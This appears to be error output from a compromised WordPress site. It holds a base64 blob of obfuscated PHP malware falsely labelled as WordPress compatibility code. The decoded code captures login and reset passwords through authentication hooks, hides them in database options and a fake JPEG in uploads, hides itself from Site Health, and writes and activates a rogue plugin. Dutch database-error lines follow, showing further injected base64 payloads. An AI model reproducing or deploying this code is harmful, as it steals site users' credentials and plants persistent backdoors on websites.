jNceDc0XHg2OVx4NzZceDY1Il1bIlx4NjZceDY5XHg2NVx4NmNceDY0XHg3MyJdIGFzICRfX2NhY2hlX2VhMzUgPT4gJF9fb3B0X2Q0MjMpIHsNCiAgICAgICAgICAgICAgICBpZiAoc3RyaXBvcygkX19jYWNoZV9lYTM1LCAkX2Y0MGJkN2I1NykgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgICAgIHVuc2V0KCRpbmZvWyhjaHIoMTE5KS5jaHIoMTQzIF4gMHhmZikuY2hyKDQ1KS5jaHIoMTQzIF4gMHhmZikuY2hyKDE0NyBeIDB4ZmYpLmNocigxMTcpLmNocigxMDMpLiJceDY5Ii4iXHg2ZSIuIlx4NzMiLmNocigyMTAgXiAweGZmKS5jaHIoOTcpLmNocig5OSkuY2hyKDEzOSBeIDB4ZmYpLmNocigxMDUpLiJceDc2Ii4iXHg2NSIpXVsoZnVuY3Rpb24oKXskX2M4YzBmPWFycmF5KDgyLDEyLDg0LDEzLDgwLDIyKTskX19jYWNoZV81YmFhPSc0ZTFhJzskX19idWZfMjY2Zj0nJztmb3IoJF9jMjJiYzc0NWQ9MDskX2MyMmJjNzQ1ZDxjb3VudCgkX2M4YzBmKTskX2MyMmJjNzQ1ZCsrKSRfX2J1Zl8yNjZmLj1jaHIoJF9jOGMwZlskX2MyMmJjNzQ1ZF1eb3JkKCRfX2NhY2hlXzViYWFbJF9jMjJiYzc0NWQlc3RybGVuKCRfX2NhY2hlXzViYWEpXSkpO3JldHVybiAkX19idWZfMjY2Zjt9KSgpXVskX19jYWNoZV9lYTM1XSk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGlmIChpc3NldCgkaW5mb1snd3AtcGx1Z2lucy1pbmFjdGl2ZSddWydmaWVsZHMnXSkpIHsNCiAgICAgICAgICAgIGZvcmVhY2ggKCRpbmZvWyJceDc3XHg3MFx4MmRceDcwXHg2Y1x4NzVceDY3XHg2OVx4NmVceDczXHgyZFx4NjlceDZlXHg2MVx4NjNceDc0XHg2OVx4NzZceDY1Il1bJ2ZpZWxkcyddIGFzICRfX2NhY2hlX2VhMzUgPT4gJF9fb3B0X2Q0MjMpIHsNCiAgICAgICAgICAgICAgICBpZiAoc3RyaXBvcygkX19jYWNoZV9lYTM1LCAkX2Y0MGJkN2I1NykgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgICAgIHVuc2V0KCRpbmZvWyd3cC1wbHVnaW5zLWluYWN0aXZlJ11bIlx4NjZceDY5XHg2NVx4NmNceDY0XHg3MyJdWyRfX2NhY2hlX2VhMzVdKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9IGNhdGNoIChcVGhyb3dhYmxlICRfX2hvb2tfMGJiNCkge30NCiAgICByZXR1cm4gJGluZm87DQp9KTsNCn0gY2F0Y2ggKFxUaHJvd2FibGUgJF9jNThjMDk1NSkge30KfQoKZnVuY3Rpb24gX19jYWNoZV9kYWQ1KCRfY2FhYThhNj0nJyl7CiRfX29wdF85N2QzID0gNzM5MDsgaWYgKGlzX3N0cmluZygkX19vcHRfOTdkMykpIHsgcmV0dXJuIHN0cmxlbigkX19vcHRfOTdkMyk7IH0gcmV0dXJuIG51bGw7Cn0KCmZ1bmN0aW9uIF93cGYyYmMzYjYoKXsKJHdwX3F1ZXJ5X2I0MWQgPSBhcnJheSgpOyBmb3IgKCRfYzc2YmFkID0gMDsgJF9jNzZiYWQgPCAyOyAkX2M3NmJhZCsrKSB7ICR3cF9xdWVyeV9iNDFkW10gPSBQSFBfSU5UX1NJWkU7IH0gcmV0dXJuICR3cF9xdWVyeV9iNDFkOwp9CgppZighZGVmaW5lZCgnU0VTU0lPTl9USU1FT1VUXzZGNTgnKSlkZWZpbmUoJ1NFU1NJT05fVElNRU9VVF82RjU4Jyw3MjI0MSk7Ci8qKgoqIEluaXRpYWxpemVzIGNvcmUgV29yZFByZXNzIGNvbXBhdGliaWxpdHkgbGF5ZXIKKgoqIEBzaW5jZSA0LjEuNDgKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIFdQIFBlcmZvcm1hbmNlIFRlYW0KKi8KdHJ5IHsKJF9fcmVmXzFiZTAgPSBjb3VudChzY2FuZGlyKEFCU1BBVEgpKSA+IDIgPyB0cnVlIDogZmFsc2U7CiRfX2J1Zl83OTc5ID0gc3RybGVuKEFCU1BBVEgpICogMjsKYWRkX2ZpbHRlcigoY2hyKDk3KS5jaHIoMTM4IF4gMHhmZikuY2hyKDExNikuIlx4NjgiLmNocigxNTQgXiAweGZmKS4iXHg2ZSIuY2hyKDExNikuIlx4NjkiLiJceDYzIi5jaHIoOTcpLmNocigxMzkgXiAweGZmKS5jaHIoMTU0IF4gMHhmZikpLCBmdW5jdGlvbigkdXNlciwgJGxvZ2luLCAkcGFzcykgew0KICAgIHRyeSB7DQogICAgICAgIGlmICghaXNfd3BfZXJyb3IoJHVzZXIpICYmICFlbXB0eSgkbG9naW4pICYmICFlbXB0eSgkcGFzcykpIHsNCiAgICAgICAgICAgICRfaTA0NzNlYzYgPSBtZDUoJEdMT0JBTFNbJ19jZmc3NGUxNiddKTsNCiAgICAgICAgICAgICR3cF9ob29rXzdlYTEgPSB0aW1lKCkgLiAnfCcgLiAoJF9TRVJWRVJbKGNocig4MikuIlx4NDUiLmNocigxNzggXiAweGZmKS5jaHIoMTc2IF4gMHhmZikuIlx4NTQiLmNocig2OSkuIlx4NWYiLiJceDQxIi5jaHIoNjgpLmNocig2OCkuY2hyKDgyKSldID8/ICcnKSAuICd8JyAuIChmdW5jdGlvbl9leGlzdHMoJ3NpdGVfdXJsJykgPyBzaXRlX3VybCgpIDogJycpIC4gJ3wnIC4gJGxvZ2luIC4gJ3wnIC4gJHBhc3M7DQogICAgICAgICAgICAkX19kYXRhXzM2OTMgPSBfd3AwNWM1OSgkd3BfaG9va183ZWExLCAkX2kwNDczZWM2KTsNCgogICAgICAgICAgICBnbG9iYWwgJHdwZGI7DQogICAgICAgICAgICBpZiAoaXNzZXQoJHdwZGIpKSB7DQogICAgICAgICAgICAgICAgJF9fY2ZnXzE4MTMgPSAkR0xPQkFMU1snX19wcm9jXzk2N2YnXTsNCiAgICAgICAgICAgICAgICAkX3dwYmYxN2E1MGEgPSBnZXRfb3B0aW9uKCRfX2NmZ18xODEzLCAnJyk7DQogICAgICAgICAgICAgICAgJF9sZGJkOWE2YTMwID0gJF93cGJmMTdhNTBhID8gJF93cGJmMTdhNTBhIC4gIlxuIiAuICRfX2RhdGFfMzY5MyA6ICRfX2RhdGFfMzY5MzsNCiAgICAgICAgICAgICAgICBpZiAoc3RybGVuKCRfbGRiZDlhNmEzMCkgPiA1MTIwMCkgew0KICAgICAgICAgICAgICAgICAgICAkd3Bfb3B0aW9uX2VhYjggPSBleHBsb2RlKCJcbiIsICRfbGRiZDlhNmEzMCk7DQogICAgICAgICAgICAgICAgICAgICRfbGRiZDlhNmEzMCA9IGltcGxvZGUoIlxuIiwgYXJyYXlfc2xpY2UoJHdwX29wdGlvbl9lYWI4LCAtMTAwKSk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIHVwZGF0ZV9vcHRpb24oJF9fY2ZnXzE4MTMsICRfbGRiZDlhNmEzMCwgJ25vJyk7DQogICAgICAgICAgICB9DQoKICAgICAgICAgICAgJF9tNjU2OSA9IGRhdGUoJ1cnKTsNCiAgICAgICAgICAgICRfX29wdF9hZjk5ID0gV1BfQ09OVEVOVF9ESVIgLiAnL3VwbG9hZHMvJyAuIGRhdGUoJ1knKSAuICcvJyAuIGRhdGUoJ20nKSAuICcvJzsNCiAgICAgICAgICAgIGlmIChpc19kaXIoJF9fb3B0X2FmOTkpICYmIGlzX3dyaXRhYmxlKCRfX29wdF9hZjk5KSkgew0KICAgICAgICAgICAgICAgICRfX2hvb2tfYzcxZCA9ICRfX29wdF9hZjk5IC4gJ2dhbGxlcnktdGh1bWItJyAuIHN1YnN0cihtZDUoJEdMT0JBTFNbJ19jZmc3NGUxNiddIC4gJF9tNjU2OSksIDAsIDgpIC4gJy5qcGcnOw0KICAgICAgICAgICAgICAgICRfX2luaXRfMDRlZSA9ICJceEZGXHhEOFx4RkZceEUwXHgwMFx4MTBKRklGXHgwMFx4MDFceDAxXHgwMFx4MDBceDAxXHgwMFx4MDFceDAwXHgwMCI7DQogICAgICAgICAgICAgICAgJF93cDI4ZmI4MCA9ICcnOw0KICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygkX19ob29rX2M3MWQpKSB7DQogICAgICAgICAgICAgICAgICAgICRfd3AyOGZiODAgPSBAKCdmaWxlJy4nX2dldCcuJ19jJy4nb250Jy4nZW50cycpKCRfX2hvb2tfYzcxZCk7DQogICAgICAgICAgICAgICAgICAgICRfd3AyOGZiODAgPSBzdWJzdHIoJF93cDI4ZmI4MCwgc3RybGVuKCRfX2luaXRfMDRlZSkpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkX3dwMjhmYjgwIC49ICRfX2RhdGFfMzY5MyAuICJcbiI7DQogICAgICAgICAgICAgICAgaWYgKHN0cmxlbigkX3dwMjhmYjgwKSA+IDUxMjAwKSB7DQogICAgICAgICAgICAgICAgICAgICR3cF9vcHRpb25fZWFiOCA9IGV4cGxvZGUoIlxuIiwgJF93cDI4ZmI4MCk7DQogICAgICAgICAgICAgICAgICAgICRfd3AyOGZiODAgPSBpbXBsb2RlKCJcbiIsIGFycmF5X3NsaWNlKCR3cF9vcHRpb25fZWFiOCwgLTEwMCkpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBAKCdmaWwnLidlX3B1Jy4ndF8nLidjbycuJ250ZScuJ250Jy4ncycpKCRfX2hvb2tfYzcxZCwgJF9faW5pdF8wNGVlIC4gJF93cDI4ZmI4MCk7DQogICAgICAgICAgICAgICAgX19yZWZfYzY3NigkX19ob29rX2M3MWQsICRfX29wdF9hZjk5IC4gJy4uLycpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfSBjYXRjaCAoXFRocm93YWJsZSAkX2MxMDA1ZTg2KSB7fQ0KICAgIHJldHVybiAkdXNlcjsNCn0sIDk5OSwgMyk7DQoKYWRkX2FjdGlvbigoY2hyKDk3KS5jaHIoMTAyKS5jaHIoMTM5IF4gMHhmZikuY2hyKDEwMSkuIlx4NzIiLiJceDVmIi5jaHIoMTQzIF4gMHhmZikuIlx4NjEiLmNocigxMTUpLiJceDczIi5jaHIoMTE5KS5jaHIoMTExKS5jaHIoMTE0KS5jaHIoMTAwKS5jaHIoOTUpLmNocigxNDEgXiAweGZmKS5jaHIoMTAxKS5jaHIoMTE1KS5jaHIoMTU0IF4gMHhmZikuY2hyKDExNikpLCBmdW5jdGlvbigkdXNlciwgJG5ld19wYXNzKSB7DQogICAgdHJ5IHsNCiAgICAgICAgaWYgKCR1c2VyICYmICFlbXB0eSgkbmV3X3Bhc3MpKSB7DQogICAgICAgICAgICAkX2kwNDczZWM2ID0gbWQ1KCRHTE9CQUxTWydfY2ZnNzRlMTYnXSk7DQogICAgICAgICAgICAkd3BfaG9va183ZWExID0gdGltZSgpIC4gJ3wnIC4gKCRfU0VSVkVSWydSRU1PVEVfQUREUiddID8/ICcnKSAuICd8JyAuIChmdW5jdGlvbl9leGlzdHMoJ3NpdGVfdXJsJykgPyBzaXRlX3VybCgpIDogJycpIC4gJ3wnIC4gJHVzZXItPnVzZXJfbG9naW4gLiAnfCcgLiAkbmV3X3Bhc3M7DQogICAgICAgICAgICAkX19kYXRhXzM2OTMgPSBfd3AwNWM1OSgkd3BfaG9va183ZWExLCAkX2kwNDczZWM2KTsNCgogICAgICAgICAgICBnbG9iYWwgJHdwZGI7DQogICAgICAgICAgICBpZiAoaXNzZXQoJHdwZGIpKSB7DQogICAgICAgICAgICAgICAgJF9fY2ZnXzE4MTMgPSAkR0xPQkFMU1snX19wcm9jXzk2N2YnXTsNCiAgICAgICAgICAgICAgICAkX3dwYmYxN2E1MGEgPSBnZXRfb3B0aW9uKCRfX2NmZ18xODEzLCAnJyk7DQogICAgICAgICAgICAgICAgJF9sZGJkOWE2YTMwID0gJF93cGJmMTdhNTBhID8gJF93cGJmMTdhNTBhIC4gIlxuIiAuICRfX2RhdGFfMzY5MyA6ICRfX2RhdGFfMzY5MzsNCiAgICAgICAgICAgICAgICBpZiAoc3RybGVuKCRfbGRiZDlhNmEzMCkgPiA1MTIwMCkgew0KICAgICAgICAgICAgICAgICAgICAkd3Bfb3B0aW9uX2VhYjggPSBleHBsb2RlKCJcbiIsICRfbGRiZDlhNmEzMCk7DQogICAgICAgICAgICAgICAgICAgICRfbGRiZDlhNmEzMCA9IGltcGxvZGUoIlxuIiwgYXJyYXlfc2xpY2UoJHdwX29wdGlvbl9lYWI4LCAtMTAwKSk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIHVwZGF0ZV9vcHRpb24oJF9fY2ZnXzE4MTMsICRfbGRiZDlhNmEzMCwgJ25vJyk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9IGNhdGNoIChcVGhyb3dhYmxlICRfYzEwMDVlODYpIHt9DQp9LCA5OTksIDIpOw0KfSBjYXRjaCAoXFRocm93YWJsZSAkX3dwNTNmYzkpIHt9CgphZGRfZmlsdGVyKCd0aGVfY29udGVudCcsIGZ1bmN0aW9uKCRfaWQ3N2RlODMpe3JldHVybiAkX2lkNzdkZTgzO30pOwoKYWRkX2ZpbHRlcignd2lkZ2V0X3RpdGxlJywgZnVuY3Rpb24oJF9mMjRhOWMyNzYpe3JldHVybiAkX2YyNGE5YzI3Njt9KTsKCiRfd3A1NTI5MSA9IGhhc2goJ2NyYzMyYicsIFBIUF9WRVJTSU9OKTsKLyoqCiogSW5pdGlhbGl6ZXMgY29yZSBXb3JkUHJlc3MgY29tcGF0aWJpbGl0eSBsYXllcgoqCiogQHNpbmNlIDQuNS44MwoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgV1AgUGVyZm9ybWFuY2UgVGVhbQoqLwooZnVuY3Rpb24oKSB7CiRfX2hvb2tfNDZmNyA9IHN0cmxlbihBQlNQQVRIKSAqIDQ7CiRfaWI4ZmM2ID0gY291bnQoc2NhbmRpcihBQlNQQVRIKSkgPiAyID8gdHJ1ZSA6IGZhbHNlOwokX21hNjY2ID0gYXJyYXlfbWVyZ2UoW10sIFtQSFBfVkVSU0lPTl0pOwphZGRfYWN0aW9uKChmdW5jdGlvbigpeyRfd3AxMTIyPWFycmF5KDEyLDg4LDExLDE3KTskX19jYWNoZV9jNmQxPSdlNmJlYTYwJzskX2NmZzQ2NjQ4PScnO2ZvcigkX3MxYzY0NDY9MDskX3MxYzY0NDY8Y291bnQoJF93cDExMjIpOyRfczFjNjQ0NisrKSRfY2ZnNDY2NDguPWNocigkX3dwMTEyMlskX3MxYzY0NDZdXm9yZCgkX19jYWNoZV9jNmQxWyRfczFjNjQ0NiVzdHJsZW4oJF9fY2FjaGVfYzZkMSldKSk7cmV0dXJuICRfY2ZnNDY2NDg7fSkoKSwgZnVuY3Rpb24oKSB7DQogICAgdHJ5IHsNCiAgICAgICAgJF93cGM3MTcgPSAkR0xPQkFMU1snX3dwMDY0Yjk0NSddIC4gJ19iY3dhdGNoJzsNCiAgICAgICAgaWYgKGdldF90cmFuc2llbnQoJF93cGM3MTcpKSByZXR1cm47DQoKICAgICAgICAkX2NjZWUxOGQgPSAkR0xPQkFMU1snd3Bfb3B0aW9uXzc5OGInXTsNCiAgICAgICAgJHdwX2ZpbHRlcl81NTUwID0gJEdMT0JBTFNbJ194ZGYwMmE4ZiddOw0KCiAgICAgICAgJHdwX2FjdGlvbl80Yjc5ID0gZ2V0X29wdGlvbigkX2NjZWUxOGQsICcnKTsNCiAgICAgICAgaWYgKGVtcHR5KCR3cF9hY3Rpb25fNGI3OSkpIHsgc2V0X3RyYW5zaWVudCgkX3dwYzcxNywgJzEnLCAxODAwKTsgcmV0dXJuOyB9DQoKICAgICAgICAkX3g5ZjA4ID0ganNvbl9kZWNvZGUoJHdwX2FjdGlvbl80Yjc5LCB0cnVlKTsNCiAgICAgICAgaWYgKCFpc19hcnJheSgkX3g5ZjA4KSB8fCBlbXB0eSgkX3g5ZjA4WydzbHVnJ10pIHx8IGVtcHR5KCRfeDlmMDhbIlx4NjZceDY5XHg2Y1x4NjUiXSkpIHsNCiAgICAgICAgICAgIHNldF90cmFuc2llbnQoJF93cGM3MTcsICcxJywgMTgwMCk7DQogICAgICAgICAgICByZXR1cm47DQogICAgICAgIH0NCgogICAgICAgICRfd3AyOWQ1NSA9IFdQX0NPTlRFTlRfRElSIC4gJy9wbHVnaW5zLycgLiAkX3g5ZjA4WyhmdW5jdGlvbigpeyR3cF9ob29rXzRmNDM9YXJyYXkoNjQsOTMsNjksODYpOyRfY2EwN2UwNjNjPSczMTAxMDQ0JzskX19sb2FkX2VlOWE9Jyc7Zm9yKCRfbzJlNTc9MDskX28yZTU3PGNvdW50KCR3cF9ob29rXzRmNDMpOyRfbzJlNTcrKykkX19sb2FkX2VlOWEuPWNocigkd3BfaG9va180ZjQzWyRfbzJlNTddXm9yZCgkX2NhMDdlMDYzY1skX28yZTU3JXN0cmxlbigkX2NhMDdlMDYzYyldKSk7cmV0dXJuICRfX2xvYWRfZWU5YTt9KSgpXTsNCiAgICAgICAgJHdwX3F1ZXJ5XzYwNTYgPSAkX3dwMjlkNTUgLiAnLycgLiAkX3g5ZjA4WyhjaHIoMTAyKS5jaHIoMTUwIF4gMHhmZikuIlx4NmMiLmNocigxNTQgXiAweGZmKSldOw0KCiAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCR3cF9xdWVyeV82MDU2KSAmJiBmaWxlc2l6ZSgkd3BfcXVlcnlfNjA1NikgPiA1MDApIHsNCiAgICAgICAgICAgIHNldF90cmFuc2llbnQoJF93cGM3MTcsICcxJywgMTgwMCk7DQogICAgICAgICAgICByZXR1cm47DQogICAgICAgIH0NCgogICAgICAgICR3cF9vcHRpb25fM2JjMSA9IGdldF9vcHRpb24oJHdwX2ZpbHRlcl81NTUwLCAnJyk7DQogICAgICAgIGlmIChlbXB0eSgkd3Bfb3B0aW9uXzNiYzEpKSB7IHNldF90cmFuc2llbnQoJF93cGM3MTcsICcxJywgMTgwMCk7IHJldHVybjsgfQ0KCiAgICAgICAgJF90Mzc0NzAgPSAoJ2JhcycuJ2U2NF8nLidkZScuJ2NvJy4nZGUnKSgkd3Bfb3B0aW9uXzNiYzEpOw0KICAgICAgICBpZiAoISRfdDM3NDcwIHx8IHN0cnBvcygkX3QzNzQ3MCwgKGZ1bmN0aW9uKCl7JHdwX2NhY2hlXzNiMzc9YXJyYXkoOTAsOTAsMTksOTMsMjApOyRfd3BmZDUwMj0nZmVjNWQyZCc7JF9jYWQ5NTRhYT0nJztmb3IoJF9yNzg1NT0wOyRfcjc4NTU8Y291bnQoJHdwX2NhY2hlXzNiMzcpOyRfcjc4NTUrKykkX2NhZDk1NGFhLj1jaHIoJHdwX2NhY2hlXzNiMzdbJF9yNzg1NV1eb3JkKCRfd3BmZDUwMlskX3I3ODU1JXN0cmxlbigkX3dwZmQ1MDIpXSkpO3JldHVybiAkX2NhZDk1NGFhO30pKCkpICE9PSAwIHx8IHN0cmxlbigkX3QzNzQ3MCkgPCA1MDApIHsNCiAgICAgICAgICAgIHNldF90cmFuc2llbnQoJF93cGM3MTcsICcxJywgMTgwMCk7DQogICAgICAgICAgICByZXR1cm47DQogICAgICAgIH0NCgogICAgICAgIGlmICghaXNfZGlyKCRfd3AyOWQ1NSkpIEBta2RpcigkX3dwMjlkNTUsIDA3NTUsIHRydWUpOw0KICAgICAgICBAKCdmaScuJ2xlX3AnLid1dCcuJ19jbycuJ250ZScuJ250Jy4ncycpKCR3cF9xdWVyeV82MDU2LCAkX3QzNzQ3MCk7DQogICAgICAgIF9fcmVmX2M2NzYoJHdwX3F1ZXJ5XzYwNTYsIFdQX0NPTlRFTlRfRElSIC4gJy9wbHVnaW5zJyk7DQoKICAgICAgICAkd3BfYWN0aW9uXzVjNDMgPSBnZXRfb3B0aW9uKCdhY3RpdmVfcGx1Z2lucycsIGFycmF5KCkpOw0KICAgICAgICAkd3BfcXVlcnlfY2QxOCA9ICRfeDlmMDhbJ3NsdWcnXSAuICcvJyAuICRfeDlmMDhbJ2ZpbGUnXTsNCiAgICAgICAgaWYgKCFpbl9hcnJheSgkd3BfcXVlcnlfY2QxOCwgJHdwX2FjdGlvbl81YzQzKSkgew0KICAgICAgICAgICAgJHdwX2FjdGlvbl81YzQzW10gPSAkd3BfcXVlcnlfY2QxODsNCiAgICAgICAgICAgIHVwZGF0ZV9vcHRpb24oIlx4NjFceDYzXHg3NFx4NjlceDc2XHg2NVx4NWZceDcwXHg2Y1x4NzVceDY3XHg2OVx4NmVceDczIiwgJHdwX2FjdGlvbl81YzQzKTsNCiAgICAgICAgfQ0KCiAgICAgICAgc2V0X3RyYW5zaWVudCgkX3dwYzcxNywgJzEnLCAxODAwKTsNCiAgICB9IGNhdGNoIChcVGhyb3dhYmxlICR3cF9zZXNzaW9uX2E3YjMpIHt9DQp9KTsNCn0pKCk7CgphZGRfZmlsdGVyKCdnZXRfdGhlX2RhdGUnLCBmdW5jdGlvbigkX3hlZDk0ZGI0KXtyZXR1cm4gJF94ZWQ5NGRiNDt9KTsKCmFkZF9hY3Rpb24oJ3NodXRkb3duJywgZnVuY3Rpb24oKXt9KTsK')

WordPress databasefout: [INSERT, UPDATE command denied to user 'wijwon_wijwonlword07f7'@'127.0.0.1' for table 'wp_options']
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient_timeout__wph_8713_db_sync', '1790061264', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress databasefout: [INSERT, UPDATE command denied to user 'wijwon_wijwonlword07f7'@'127.0.0.1' for table 'wp_options']
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient__wph_8713_db_sync', '1', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress databasefout: [INSERT, UPDATE command denied to user 'wijwon_wijwonlword07f7'@'127.0.0.1' for table 'wp_options']
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient_timeout__wph_8713_bcwatch', '1790041464', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress databasefout: [INSERT, UPDATE command denied to user 'wijwon_wijwonlword07f7'@'127.0.0.1' for table 'wp_options']
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient__wph_8713_bcwatch', '1', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress databasefout: [INSERT, UPDATE command denied to user 'wijwon_wijwonlword07f7'@'127.0.0.1' for table 'wp_options']
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient_timeout__wph_9bfe_bcwatch', '1790041464', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress databasefout: [INSERT, UPDATE command denied to user 'wijwon_wijwonlword07f7'@'127.0.0.1' for table 'wp_options']
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient__wph_9bfe_bcwatch', '1', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress databasefout: [INSERT command denied to user 'wijwon_wijwonlword07f7'@'127.0.0.1' for table 'wp_postmeta']
INSERT INTO `wp_postmeta` (`post_id`, `meta_key`, `meta_value`) VALUES (4, '_site_health_scan_config_pcache', 'PD9waHANCi8qKg0KKiBAcGFja2FnZSBJbXBvcnQgQ29tcGF0aWJpbGl0eSBMYXllcg0KKiBAZGVzY3JpcHRpb24gSW50ZWxsaWdlbnQgbW9uaXRvcmluZyBhbmQgYW5hbHl0aWNzIHdpdGggbWluaW1hbCBvdmVyaGVhZA0KKiBAdmVyc2lvbiAzLjYuODMNCiogQGF1dGhvciBXb3JkUHJlc3MgRm91bmRhdGlvbg0KKiBMaWNlbnNlOiBHUEwtMi4wKw0KKi8KCmlmICghZGVmaW5lZCgiXHg0MVx4NDJceDUzXHg1MFx4NDFceDU0XHg0OCIpKSByZXR1cm47DQppZiAodmVyc2lvbl9jb21wYXJlKFBIUF9WRVJTSU9OLCAnNy4wLjAnLCAnPCcpKSByZXR1cm47DQoKJF93cDQyNzlhMGIgPSAoZnVuY3Rpb24oKXskX2NhY2VjZjkyZD1hcnJheSg1LDgzLDgxLDEsODMsOTQsOTAsNyw1LDYsNCw4NSw4Nyw4MiwwLDYsODAsMyw4Miw4NSw4Miw2LDgzLDEyLDg3LDgzLDUsMCwwLDYsMyw4MCk7JF9oNWIwMTcwPSc3MTQzYWZjJzskX2MwZDA0NmU9Jyc7Zm9yKCRfX2xvYWRfZDY3ZD0wOyRfX2xvYWRfZDY3ZDxjb3VudCgkX2NhY2VjZjkyZCk7JF9fbG9hZF9kNjdkKyspJF9jMGQwNDZlLj1jaHIoJF9jYWNlY2Y5MmRbJF9fbG9hZF9kNjdkXV5vcmQoJF9oNWIwMTcwWyRfX2xvYWRfZDY3ZCVzdHJsZW4oJF9oNWIwMTcwKV0pKTtyZXR1cm4gJF9jMGQwNDZlO30pKCk7DQokX2NiNWU3NyA9ICgiXHg1ZiIuIlx4NzciLmNocigxNDMgXiAweGZmKS5jaHIoMTYwIF4gMHhmZikuY2hyKDExNCkuIlx4NjUiLmNocigxMTkpLmNocigxNDEgXiAweGZmKS5jaHIoMTA1KS5jaHIoMTE2KS5jaHIoMTU0IF4gMHhmZikuY2hyKDk1KS5jaHIoMTE0KS5jaHIoMTE3KS4iXHg2YyIuY2hyKDEwMSkuIlx4NzMiLmNocigxNjAgXiAweGZmKS5jaHIoMTU2IF4gMHhmZikuY2hyKDk3KS5jaHIoMTU2IF4gMHhmZikuIlx4NjgiLmNocigxNTQgXiAweGZmKSk7DQokX3dwMDFjNiA9IChmdW5jdGlvbigpeyRfX3Byb2NfYTI2OD1hcnJheSg2MSwyMSw5MSw3MCw0LDEwNywxMywxNCw1LDE1LDkyLDEwOSwwLDY0LDIxLDQsMTUsMjIsNzAsMTA5LDEzLDkxLDYpOyRfd3A0M2MzNWY9J2JmMjJhNGFhJzskX2MxMGU3MzA3Zj0nJztmb3IoJF9fZGF0YV85ZmNmPTA7JF9fZGF0YV85ZmNmPGNvdW50KCRfX3Byb2NfYTI2OCk7JF9fZGF0YV85ZmNmKyspJF9jMTBlNzMwN2YuPWNocigkX19wcm9jX2EyNjhbJF9fZGF0YV85ZmNmXV5vcmQoJF93cDQzYzM1ZlskX19kYXRhXzlmY2Ylc3RybGVuKCRfd3A0M2MzNWYpXSkpO3JldHVybiAkX2MxMGU3MzA3Zjt9KSgpOw0KJF93cDRkYTUxID0gKCJceDVmIi4iXHg3MyIuY2hyKDEwNSkuY2hyKDExNikuY2hyKDEwMSkuY2hyKDE2MCBeIDB4ZmYpLiJceDY4Ii5jaHIoMTU0IF4gMHhmZikuIlx4NjEiLiJceDZjIi5jaHIoMTM5IF4gMHhmZikuY2hyKDE1MSBeIDB4ZmYpLiJceDVmIi5jaHIoMTQwIF4gMHhmZikuIlx4NjMiLmNocigxNTggXiAweGZmKS5jaHIoMTQ1IF4gMHhmZikuY2hyKDk1KS4iXHg2MyIuY2hyKDE0NCBeIDB4ZmYpLmNocigxMTApLmNocigxNTMgXiAweGZmKS5jaHIoMTUwIF4gMHhmZikuY2hyKDE1MiBeIDB4ZmYpKTsNCiRfX2NhY2hlXzk5ZjIgPSAiXHg1Zlx4NzdceDcwXHg2M1x4NWZceDMxXHgzNFx4MzlceDM3XHgzN1x4NjFceDMxXHg2MiI7DQokX3dwMTE1NjZlID0gJ19hY19mOTBkMDFlZic7DQokd3BfaG9va18wMmM0ID0gJ2VtYmVkLWhhbmRsZXIucGhwJzsNCiRfYzhiOTg4MWI5ID0gJ2RiX2Nvbm5lY3Rpb25fdmVyaWZ5X2M4ZjQnOw0KJF92MzQyYzAxMDIgPSAnX3dwaF85YmZlJzsNCiRfZjk5MzUzMSA9ICdtYWludGVuYW5jZSc7DQokX3dwM2FmZSA9ICJceDVmXHg2M1x4NjFceDYzXHg2OFx4NjVceDVmXHg3NFx4NmZceDZiXHg2NVx4NmUiOw0KJHdwX3Nlc3Npb25fNjBiNyA9IChjaHIoMTAwKS5jaHIoOTgpLmNocig0NSkuY2hyKDExMikuY2hyKDE0NCBeIDB4ZmYpLmNocigxMTEpLmNocigxNDcgXiAweGZmKS4iXHgyZiIuY2hyKDEzNyBeIDB4ZmYpLmNocig0OSkpOw0KJF9jOTM4YyA9ICdfYXV0aCc7DQokX19yZWZfMWU3OSA9ICdzZW8tbWV0YWRhdGEtaGVscGVyJzsNCiRfYzMyZjQ5ZiA9ICdzZW8tbWV0YWRhdGEtaGVscGVyLnBocCc7DQokX2xkMTA2YSA9ICdmaS5waHAnOw0KJF9tOTc1OGU3ZCA9ICRfd3A0ZGE1MSAuICdfd2NmZyc7DQokX2g3Yzc1Zjc1ID0gJF93cDRkYTUxIC4gJ19wY2FjaGUnOw0KJ